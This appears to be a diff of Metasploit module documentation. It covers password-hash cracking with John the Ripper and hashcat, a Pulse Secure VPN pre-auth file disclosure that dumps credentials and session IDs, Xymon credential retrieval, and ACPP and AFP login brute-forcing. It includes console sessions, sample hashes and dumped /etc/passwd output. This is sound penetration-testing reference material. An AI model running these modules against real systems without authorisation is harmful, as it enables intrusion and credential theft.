+                       mediawiki_hashcat  hashcat                                                                           Password            
+                       atlassian_admin    {PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt         Nonreplayable hash  PBKDF2-HMAC-SHA1
+                       phpass_p_hashcat   hashcat                                                                           Password            
+                       atlassian_hashcat  hashcat                                                                           Password            
+                       atlassian_hashcat  {PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa         Nonreplayable hash  PBKDF2-HMAC-SHA1
+                       atlassian_secret   {PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza         Nonreplayable hash  PBKDF2-HMAC-SHA1
+                       phpass_p_hashcat   $P$984478476IagS59wHZvyQMArzfx58u.                                                Nonreplayable hash  phpass
+```
@@ -0,0 +1,354 @@
+## Vulnerable Application
+
+  This module attempts to use a password cracker to decode Windows
+  based password hashes, such as:
+
+  * `LANMAN` based passwords
+  * `NTLM` based passwords
+
+| Common | John     | Hashcat |
+|--------|----------|---------|
+| lanman | lm       | 3000    |
+| ntlm   | nt       | 1000    |
+
+  Sources of hashes can be found here:
+  [source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
+
+## Verification Steps
+
+  1. Have at least one user with an `ntlm`, or `lanman` password hash in the database
+  2. Start msfconsole
+  3. Do: ```use auxiliary/analyze/crack_windows```
+  4. Do: set cracker of choice
+  5. Do: ```run```
+  6. You should hopefully crack a password.
+
+## Actions
+
+   **john**
+
+   Use john the ripper (default).
+
+   **hashcat**
+
+   Use hashcat.
+
+## Options
+
+   **CONFIG**
+
+   The path to a John config file (JtR option: `--config`).  Default is `metasploit-framework/data/john.conf`
+
+   **CRACKER_PATH**
+
+   The absolute path to the cracker executable.  Default behavior is to search `path`.
+
+   **CUSTOM_WORDLIST**
+
+   The path to an optional custom wordlist.  This file is added to the new wordlist which may include the other
+   `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
+
+   **DeleteTempFiles**
+
+   This option will prevent deletion of the wordlist and file containing hashes.  This may be useful for
+   running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
+
+   **Fork**
+
+   This option will set how many forks to use on john the ripper.  Default is `1` (no forking).
+
+   **INCREMENTAL**
+
+   Run the cracker in incremental mode.  Default is `true`
+
+   **ITERATION_TIMEOUT**
+
+   The max-run-time for each iteration of cracking.
+
+   **KORELOGIC**
+
+   Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
+   Default is `false`.
+
+   **LANMAN**
+
+   Crack LANMAN hashes.  Default is `true`.
+
+   **MUTATE**
+
+   Apply common mutations to the Wordlist (SLOW).  Mutations are:
+
+   * `'@' => 'a'`
+   * `'0' => 'o'`
+   * `'3' => 'e'`
+   * `'$' => 's'`
+   * `'7' => 't'`
+   * `'1' => 'l'`
+   * `'5' => 's'`
+
+   Default is `false`.
+
+   **NTLM**
+
+   Crack NTLM hashes.  Default is `true`.
+
+   **POT**
+
+   The path to a John POT file (JtR option: `--pot`) to use instead.  The `pot` file is the data file which
+   records cracked password hashes.  Kali linux's default location is `/root/.john/john.pot`.
+   Default is `~/.msf4/john.pot`.
+
+   **SHOWCOMMAND**
+
+   Show the command being used run from the command line for debugging.  Default is `false`
+
+   **USE_CREDS**
+
+   Use existing credential data saved in the database.  Default is `true`.
+
+   **USE_DB_INFO**
+
+   Use looted database schema info to seed the wordlist.  This includes the Database Name, each Table Name,
+   and each Column Name.  If the DB is MSSQL, the Instance Name is also used.  Default is `true`.
+
+   **USE_DEFAULT_WORDLIST**
+
+   Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`.  Default is
+   `true`.
+
+   **USE_HOSTNAMES**
+
+   Seed the wordlist with hostnames from the workspace.  Default is `true`.
+
+   **USE_ROOT_WORDS**
+
+   Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`.  Default
+   is true.
+
+   **WORDLIST**
+
+   Run the cracker in dictionary/wordlist mode.  Default is `true`
+
+## Scenarios
+
+### Sample Data
+
+The following is data which can be used to test integration, including adding entries
+to a wordlist and pot file to test various aspects of the cracker.
+
+```
+creds add user:lm_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
+creds add user:lm2_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
+creds add user:lm2_pot_password ntlm:e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
+creds add user:nt_password ntlm:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c jtr:nt
+echo "" > /root/.msf4/john.pot
+echo "\$LM\$E52CAC67419FAFE2:passwor" >> /root/.msf4/john.pot
+echo "\$LM\$FAFE108F3FA6CB6D:d" >> /root/.msf4/john.pot
+echo "test" > /tmp/wordlist
+echo "password" >> /tmp/wordlist
+```
+
+### John the Ripper
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
+resource (hashes_hashcat.rb)> run
+[+] john Version Detected: 1.9.0-jumbo-1 OMP
+[*] Hashes Written out to /tmp/hashes_tmp20190531-32530-1bqr8cd
+[*] Wordlist file written out to /tmp/jtrtmp20190531-32530-1qjwpit
+[*] Checking lm hashes already cracked...
+[*] Cracking lm hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
+Using default input encoding: UTF-8
+Using default target encoding: CP850
+Warning: poor OpenMP scalability for this hash type, consider --fork=8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+2g 0:00:00:00 DONE (2019-05-31 17:07) 200.0g/s 585500p/s 585500c/s 1756KC/s TEST3::..T1900
+Warning: passwords printed above might be partial and not be all those cracked
+Use the "--show --format=LM" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking lm hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
+Using default input encoding: UTF-8
+Using default target encoding: CP850
+Warning: poor OpenMP scalability for this hash type, consider --fork=8
+Will run 8 OpenMP threads
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, almost any other key for status
+Almost done: Processing the remaining buffered candidate passwords, if any.
+Warning: Only 336 candidates buffered for the current salt, minimum 2048 needed for performance.
+Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
+1g 0:00:00:00 DONE 2/3 (2019-05-31 17:07) 50.00g/s 1774Kp/s 1774Kc/s 1774KC/s 123456..SEEKER0
+Warning: passwords printed above might be partial
+Use the "--show --format=LM" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking lm hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
+Using default input encoding: UTF-8
+Using default target encoding: CP850
+[*] Cracking lm hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
+Using default input encoding: UTF-8
+Using default target encoding: CP850
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1462   lm         lm_password       password          Single
+ 1463   lm         lm2_password      password          Single
+ 1464   lm         lm2_pot_password  password          Already Cracked/POT
+
+[*] Checking nt hashes already cracked...
+[*] Cracking nt hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
+Using default input encoding: UTF-8
+Warning: no OpenMP support for this hash type, consider --fork=8
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 17:07) 100.0g/s 19200p/s 19200c/s 19200C/s test3:::..Password12
+Warning: passwords printed above might not be all those cracked
+Use the "--show --format=NT" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking nt hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
+Using default input encoding: UTF-8
+[*] Cracking nt hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
+Using default input encoding: UTF-8
+[*] Cracking nt hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1462   lm         lm_password       password          Single
+ 1463   lm         lm2_password      password          Single
+ 1464   lm         lm2_pot_password  password          Already Cracked/POT
+ 1465   nt         nt_password       password          Single
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public            private                                                            realm  private_type  JtR Format
+----  ------  -------  ------            -------                                                            -----  ------------  ----------
+                       lm_password       e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash     nt,lm
+                       lm2_password      e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash     nt,lm
+                       lm2_pot_password  e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash     nt,lm
+                       nt_password       aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash     nt,lm
+                       lm2_pot_password  password                                                                  Password      
+                       lm_password       password                                                                  Password      
+                       lm2_password      password                                                                  Password      
+                       nt_password       password                                                                  Password
+```
+
+### Hashcat
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
+resource (hashes_hashcat.rb)> set action hashcat
+action => hashcat
+resource (hashes_hashcat.rb)> run
+[+] hashcat Version Detected: v5.1.0
+[*] Hashes Written out to /tmp/hashes_tmp20190531-32645-186ea6l
+[*] Wordlist file written out to /tmp/jtrtmp20190531-32645-12pwixd
+[*] Checking lm hashes already cracked...
+[*] Cracking lm hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking lm hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username      Cracked Password  Method
+ -----  ---------  --------      ----------------  ------
+ 1470   lm         lm_password   [notfound]D       Incremental
+ 1471   lm         lm2_password  [notfound]D       Incremental
+
+[*] Checking nt hashes already cracked...
+[*] Cracking nt hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking nt hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1470   lm         lm_password       [notfound]D       Incremental
+ 1471   lm         lm2_password      [notfound]D       Incremental
+ 1472   nt         lm2_pot_password  password          Wordlist
+ 1473   nt         nt_password       password          Wordlist
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public            private                                                            realm  private_type  JtR Format
+----  ------  -------  ------            -------                                                            -----  ------------  ----------
+                       lm_password       e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash     nt,lm
+                       lm2_password      e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash     nt,lm
+                       lm2_pot_password  e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash     nt,lm
+                       nt_password       aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash     nt,lm
+                       lm_password       [notfound]D                                                               Password      
+                       lm2_password      [notfound]D                                                               Password      
+                       lm_password       PASSWORD                                                                  Password      
+                       lm2_password      PASSWORD                                                                  Password      
+                       lm_password       password                                                                  Password      
+                       lm2_password      password                                                                  Password      
+                       lm2_pot_password  password                                                                  Password      
+                       nt_password       password                                                                  Password
+```
@@ -3,7 +3,7 @@
  This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Linux
  based password hashes, such as:

-  * `DES` based passwords  
+  * `DES` based passwords
  * `MD5` based passwords
  * `BSDi` based passwords
  * With `crypt` set to `true`:
@@ -52,7 +52,7 @@ msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
 rhost => 127.0.0.1
 msf auxiliary(client/iec104/iec104) > run

-[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
+[+] 127.0.0.1:2404 - Received STARTDT_ACT
 [*] 127.0.0.1:2404 - Sending 104 command
 [+] 127.0.0.1:2404 -   Parsing response: Interrogation command (C_IC_NA_1)
 [+] 127.0.0.1:2404 -     TX: 0002 RX: 0000
@@ -77,7 +77,7 @@ msf auxiliary(client/iec104/iec104) > run
 [+] 127.0.0.1:2404 -     CauseTx: 0a (Termination Activation)
 [*] 127.0.0.1:2404 - operation ended
 [*] 127.0.0.1:2404 - Terminating Connection
-[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
+[+] 127.0.0.1:2404 - Received STOPDT_ACT
 [*] Auxiliary module execution completed
 msf auxiliary(client/iec104/iec104) >
 ```
@@ -97,7 +97,7 @@ msf auxiliary(client/iec104/iec104) > set command_value 5
 command_value => 5
 msf auxiliary(client/iec104/iec104) > run

-[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
+[+] 127.0.0.1:2404 - Received STARTDT_ACT
 [*] 127.0.0.1:2404 - Sending 104 command
 [+] 127.0.0.1:2404 -   Parsing response: Double command (C_DC_NA_1)
 [+] 127.0.0.1:2404 -     TX: 0002 RX: 0000
@@ -114,7 +114,7 @@ msf auxiliary(client/iec104/iec104) > run
 [+] 127.0.0.1:2404 -     IOA: 5 DCO: 0x05
 [*] 127.0.0.1:2404 - operation ended
 [*] 127.0.0.1:2404 - Terminating Connection
-[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
+[+] 127.0.0.1:2404 - Received STOPDT_ACT
 [*] Auxiliary module execution completed
 msf auxiliary(client/iec104/iec104) >
 ```
@@ -1,4 +1,4 @@
-## Intro
+## Introduction

 From the `bootparamd(8)` man page:

@@ -1,4 +1,4 @@
-## Intro
+## Introduction

 If you've worked with old Unix systems before, you've probably
 encountered NIS (Network Information Service). The most familiar way of
@@ -0,0 +1,101 @@
+## Introduction
+
+This module exploits a pre-auth directory traversal in the Pulse Secure
+VPN server to dump an arbitrary file. Dumped files are stored in loot.
+
+If the `Automatic` action is set, plaintext and hashed credentials, as
+well as session IDs, will be dumped. Valid sessions can be hijacked by
+setting the `DSIG` browser cookie to a valid session ID.
+
+For the `Manual` action, please specify a file to dump via the `FILE`
+option. `/etc/passwd` will be dumped by default. If the `PRINT` option is
+set, file contents will be printed to the screen, with any unprintable
+characters replaced by a period.
+
+Please see related module exploit/linux/http/pulse_secure_cmd_exec for
+a post-auth exploit that can leverage the results from this module.
+
+## Actions
+
+```
+Name       Description
+----       -----------
+Automatic  Dump creds and sessions
+Manual     Dump an arbitrary file (FILE option)
+```
+
+## Options
+
+**FILE**
+
+Set this to the file you want to dump. The default is `/etc/passwd`.
+Valid only in manual mode.
+
+**PRINT**
+
+Whether to print file contents to the screen. Valid only in manual mode.
+
+## Usage
+
+Dumping creds and sessions in automatic mode:
+
+```
+msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
+[*] Running module against [redacted]
+
+[*] Running in automatic mode
+[*] Dumping /data/runtime/mtmp/lmdb/dataa/data.mdb
+[+] /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
+[*] Dumping /data/runtime/mtmp/lmdb/randomVal/data.mdb
+[*] Parsing session IDs...
+[+] Session ID found: df502e6052d9002d8f02160af8bfd055
+[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
+[+] Session ID found: acbef5625
+[+] Session ID found: c145e683a
+[+] Session ID found: fc6c097dd
+[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
+[+] Session ID found: c145e683a17cfacb72a47eb8b2515c14
+[+] Session ID found: a7661751393e16fa253e97bd02dc2a4f
+[+] Session ID found: 7e78ab276afea3f00dfa41892c437156c699eff8
+[+] /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
+[*] Dumping /data/runtime/mtmp/system
+[+] /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
+[*] Auxiliary module execution completed
+msf5 auxiliary(gather/pulse_secure_file_disclosure) > loot
+
+Loot
+====
+
+host         service  type                                        name                                        content                   info                   path
+----         -------  ----                                        ----                                        -------                   ----                   ----
+[redacted]            Pulse Secure VPN Arbitrary File Disclosure  /data/runtime/mtmp/lmdb/dataa/data.mdb      application/octet-stream  Plaintext credentials  /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
+[redacted]            Pulse Secure VPN Arbitrary File Disclosure  /data/runtime/mtmp/lmdb/randomVal/data.mdb  application/octet-stream  Session IDs            /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
+[redacted]            Pulse Secure VPN Arbitrary File Disclosure  /data/runtime/mtmp/system                   application/octet-stream  Hashed credentials     /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
+
+msf5 auxiliary(gather/pulse_secure_file_disclosure) >
+```
+
+Dumping default `/etc/passwd` in manual mode:
+
+```
+msf5 auxiliary(gather/pulse_secure_file_disclosure) > set action Manual
+action => Manual
+msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
+[*] Running module against [redacted]
+
+[*] Running in manual mode
+[*] Dumping /etc/passwd
+root:x:0:0:root:/:/bin/bash
+nfast:x:0:0:nfast:/:/bin/bash
+bin:x:1:1:bin:/:
+nobody:x:99:99:Nobody:/:
+dns:x:98:98:DNS:/:
+term:x:97:97:Telnet/SSH:/:
+web80:x:96:96:Port 80 web:/:
+rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
+postgres:x:102:102:PostgreSQL User:/:
+
+[+] /Users/wvu/.msf4/loot/20191029222949_default_[redacted]_PulseSecureVPN_073170.bin
+[*] Auxiliary module execution completed
+msf5 auxiliary(gather/pulse_secure_file_disclosure) >
+```
@@ -1,4 +1,4 @@
-## Intro
+## Introduction

 This is going to be a quick rundown of how to use this module to
 retrieve the admin hash from a vulnerable QNAP device.
@@ -0,0 +1,79 @@
+## Description
+
+  This module retrieves information from a Xymon daemon service
+  (formerly Hobbit, based on Big Brother), including server
+  configuration information, a list of monitored hosts, and
+  associated client log for each host.
+
+  This module also retrieves usernames and password hashes from
+  the `xymonpasswd` config file from Xymon servers before 4.3.25,
+  which permit download arbitrary config files (CVE-2016-2055),
+  and servers configured with `ALLOWALLCONFIGFILES` enabled.
+
+
+## Vulnerable Application
+
+  [Xymon](http://xymon.sourceforge.net/) is a system for monitoring servers and networks.
+
+  Xymon packages are available in software repositories for various Linux distributions :
+
+  ```
+  sudo apt-get install xymon
+  ```
+
+  Refer to http://xymon.sourceforge.net/xymon/help/install.html for more information.
+
+  A Xymon virtual appliance is also available :
+
+  * https://sourceforge.net/projects/xymon/files/Xymon/4.3.10/VM/
+
+  To expose the `xymonpasswd` file, add the following line to `/etc/xymon/xymonserver.cfg` :
+
+  ```
+  ALLOWALLCONFIGFILES="TRUE"
+  ```
+
+  And restart the service with : `service xymon restart`.
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use use auxiliary/gather/xymon_info`
+  3. Do: `set rhost [IP]`
+  4. Do: `run`
+  5. You should receive server and client host information
+
+
+## Scenarios
+
+  ```
+  msf5 > use auxiliary/gather/xymon_info 
+  msf5 auxiliary(gather/xymon_info) > set rhosts 172.16.191.250
+  rhosts => 172.16.191.250
+  msf5 auxiliary(gather/xymon_info) > run
+  [*] Running module against 172.16.191.250
+
+  [*] 172.16.191.250:1984 - Xymon daemon version 4.3.28
+  [*] 172.16.191.250:1984 - Retrieving configuration files ...
+  [+] 172.16.191.250:1984 - xymonserver.cfg (18347 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_136371.txt
+  [+] 172.16.191.250:1984 - hosts.cfg (745 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.hos_647070.txt
+  [+] 172.16.191.250:1984 - xymonpasswd (44 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_182226.txt
+  [+] 172.16.191.250:1984 - Credentials: admin : $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1.
+  [*] 172.16.191.250:1984 - Retrieving host list ...
+  [+] 172.16.191.250:1984 - Host info (127 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hostinfo_254799.txt
+  [+] 172.16.191.250:1984 - Found 3 hosts
+  [*] 172.16.191.250:1984 - Retrieving client logs ...
+  [+] 172.16.191.250:1984 - debian-9-6-0-x64-xfce.local client log (87942 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hosts.debi_671716.txt
+  [*] 172.16.191.250:1984 - test-host client log is empty
+  [*] 172.16.191.250:1984 - another-test-host client log is empty
+  [*] Auxiliary module execution completed
+  msf5 auxiliary(gather/xymon_info) > creds
+  Credentials
+  ===========
+
+  host            origin          service            public  private                                realm  private_type        JtR Format
+  ----            ------          -------            ------  -------                                -----  ------------        ----------
+  172.16.191.250  172.16.191.250  1984/tcp (xymond)  admin   $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1.         Nonreplayable hash  md5crypt
+  ```
+
@@ -0,0 +1,28 @@
+## Vulnerable Application
+
+ACPP is an undocumented and proprietary Apple protocol found in Airport products which protects the credentials used to administer the device. This module attempts exploit a weak encryption mechanism (fixed XOR key) by brute forcing the password via a dictionary attack or specific password.
+
+More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/acpp/login)
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use auxiliary/scanner/acpp/login`
+  3. Do: `set RHOSTS [ip]`
+  4. Do: `run`
+
+## Scenarios
+
+### Apple AirPort Extreme 802.11g
+
+  ```
+  msf > use auxiliary/scanner/acpp/login
+  msf auxiliary(scanner/acpp/login) > show options
+  msf auxiliary(scanner/acpp/login) > set RHOSTS 1.1.1.1
+      RHOSTS => 1.1.1.1
+  msf auxiliary(scanner/acpp/login) > set PASSWORD myPassword
+      PASSWORD => myPassword
+  msf auxiliary(scanner/acpp/login) > run
+    [*] 1.1.1.1:5009 - 1.1.1.1:5009 - Starting ACPP login sweep
+    [*] 1.1.1.1:5009 - 1.1.1.1:5009 - ACPP Login Successful: myPassword
+  ```
@@ -0,0 +1,45 @@
+## Vulnerable Application
+
+Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module attempts to brute force authentication credentials for AFP.
+
+References:
+
+* [AFP_Reference](https://developer.apple.com/library/mac/documentation/Networking/Reference/AFP_Reference/Reference/reference.html)
+* [AFP_Security](https://developer.apple.com/library/mac/documentation/networking/conceptual/afp/AFPSecurity/AFPSecurity.html)
+
+### Kali 2019.3 Install Instructions
+
+1. `sudo apt-get install netatalk`
+2. edit `/etc/default/netatalk` and add the following lines:
+
+    ```
+    ATALKD_RUN=no
+    PAPD_RUN=no
+    CNID_METAD_RUN=yes
+    AFPD_RUN=yes
+    TIMELORD_RUN=no
+    A2BOOT_RUN=no
+    ```
+
+3. Restart the service: `sudo /etc/init.d/netatalk restart`
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use modules/auxiliary/scanner/afp/afp_login`
+  3. Do: `set RHOSTS [ip]`
+  4. Do: `run`
+
+## Scenarios
+
+### A run on Kali Linux 2019.3 and Netatalk 3.1.12
+
+  ```
+  msf > use modules/auxiliary/scanner/afp/afp_login
+  msf auxiliary(scanner/afp/afp_login) > set USERNAME tuser
+  msf auxiliary(scanner/afp/afp_login) > set PASSWORD myPassword
+  msf auxiliary(scanner/afp/afp_login) > set RHOST 172.17.0.2
+  msf auxiliary(scanner/afp/afp_login) > run
+    [*] 172.17.0.2:548 - Scanning IP: 172.17.0.2
+    [*] 172.17.0.2:548 - Login Successful: tuser:myPassword
+  ```
@@ -3,10 +3,11 @@
 Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS.  This module will gather information about the service.
 Netatalk is a Linux implementation of AFP.

-The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
-  
+The following was done on Ubuntu 16.04, and is largely based on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
+
  1. `sudo apt-get install netatalk`
  2. edit `/etc/default/netatalk` and add the following lines:
+
    ```
    ATALKD_RUN=no
    PAPD_RUN=no
@@ -15,6 +16,7 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
